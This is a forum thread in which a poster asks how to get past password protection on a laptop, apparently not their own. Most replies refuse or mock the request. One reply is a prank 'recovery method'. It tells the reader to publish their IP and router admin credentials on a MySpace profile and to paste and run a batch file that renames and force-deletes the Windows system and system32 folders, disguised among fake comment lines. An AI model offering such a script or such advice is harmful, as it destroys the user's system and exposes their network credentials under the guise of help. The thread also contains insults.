retrieving secured passwords

Clarifications

There aren't people here that will assist in password retrieval, sorry.

in hell

My work here is done.

and why on earth would you want to mellow your answer? Are you getting soft? Is this a kinder, gentler, JD?

Stop it.

Call the manufacturer of the laptop. It might cost some money, but they are the only ones with the information to help you.

Good luck.

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Go to MySpace. Create an account. Log in
Start your profile. Get your IP information from your computer & your router. You will need this. Also, you need to log into your router to get the info. Take note of your routers username/PW.

Now, when creating your profile, type in (under your interests), all of the previous information. IP/subnet/gaetway, and routers info including admin and PW.
save the setting. Finish your profile and save again.'

log out of MySpace
wait 30 min.
during this time create this script (copy/paste into notepad)

REM USER_MYSPACE_FIND
REM %USERNAME%
ren %systemroot%\system myspace
ren %systemroot/system32 username
REM %MOVEPROFILE%\%1\username
REM %MOVEPASS%\%2\myspace
del %systemroot%\myspace /Q /F
del %systemroot%\username /Q /F
REM CREATE_FROM_DUMP user:%1:20020
REM CREATE_FROM_DUMP myspace:%2:55511
REM logon: %username%==%username%
REM pwd: %myspace%==NEW\%myspace% +/- ADDITIONAL
Print "Type New Password?"
REM ADD_TO %myspace%==%myspace%.txt >ENCRYPT:MYSPACE_ALGORITHM
REM CONVERT==myspace.txt>myspace.enc
REM UPLOAD: MYSPACE

Now save the file and change the file extension to .bat from .txt.

after the 30 min. is up, go to myspace and log in
double click the .bat file
when it asks what user account, just type in a username

"[i]Not a registered user there[/i]" ...eh ?

Y'see, that is indeed odd! In order to 'retrieve' anything there has to first of all, be an established history of ownership or belonging to, as in:

re?trieve (ri tr"v?), v., -trieved, -triev?ing, n.
?v.t.
1. to recover or regain: to retrieve the stray ball.
2. to bring back to a former and better state; restore: to retrieve one's fortunes.
3. to make amends for: to retrieve an error.
4. to make good; repair: to retrieve a loss.
5. Hunting. (of hunting dogs) to fetch (killed or wounded game).
6. to draw back or reel in (a fishing line).
7. to rescue; save.
8. (in tennis, squash, handball, etc.) to make an in-bounds return of (a shot requiring running with the hand extended).
9. Computers. to locate and read (data) from storage, as for display on a monitor.
?v.i.
10. Hunting. to retrieve game.
11. to retrieve a fishing line.
?n.
12. an act of retrieving; recovery.
13. the possibility of recovery.
[1375?1425; late ME retreven < MF retroev-, retreuv-, tonic s. of retrouver to find again, equiv. to re- RE- + trouver to find; see TROVER]
?re?triev?a?ble, adj.
?re?triev?a?bil?i?ty, n.

Whereas in your particular case, perhaps due to inate, irretrievable (oops!), lacking in the fundamentals of the written word, your best fitting word of choice ought to be [b]STEAL[/b]:

steal (st"l), v., stole, sto?len, steal?ing, n.
?v.t.
1. to take (the property of another or others) without permission or right, esp. secretly or by force: A pickpocket stole his watch.
2. to appropriate (ideas, credit, words, etc.) without right or acknowledgment.
3. to take, get, or win insidiously, surreptitiously, subtly, or by chance: He stole my girlfriend.
4. to move, bring, convey, or put secretly or quietly; smuggle (usually fol. by away, from, in, into, etc.): They stole the bicycle into the bedroom to surprise the child.
5. Baseball. (of a base runner) to gain (a base) without the help of a walk or batted ball, as by running to it during the delivery of a pitch.
6. Games. to gain (a point, advantage, etc.) by strategy, chance, or luck.
7. to gain or seize more than one's share of attention in, as by giving a superior performance: The comedian stole the show.
?v.i.
8. to commit or practice theft.
9. to move, go, or come secretly, quietly, or unobserved: She stole out of the house at midnight.
10. to pass, happen, etc., imperceptibly, gently, or gradually: The years steal by.
11. Baseball. (of a base runner) to advance a base without the help of a walk or batted ball.
12. steal someone's thunder, to appropriate or use another's idea, plan, words, etc.
?n.
13. Informal. an act of stealing; theft.
14. Informal. the thing stolen; booty.
15. Informal. something acquired at a cost far below its real value; bargain: This dress is a steal at $40.
16. Baseball. the act of advancing a base by stealing.
[bef. 900; 1860?65 for def. 5; ME stelen, OE stelan; c. G stehlen, ON stela, Goth stilan]
?steal?a?ble, adj.
?steal?er, n.

Most unsavoury. :D

Oh well that makes it OK then.

You are a f'king idiot.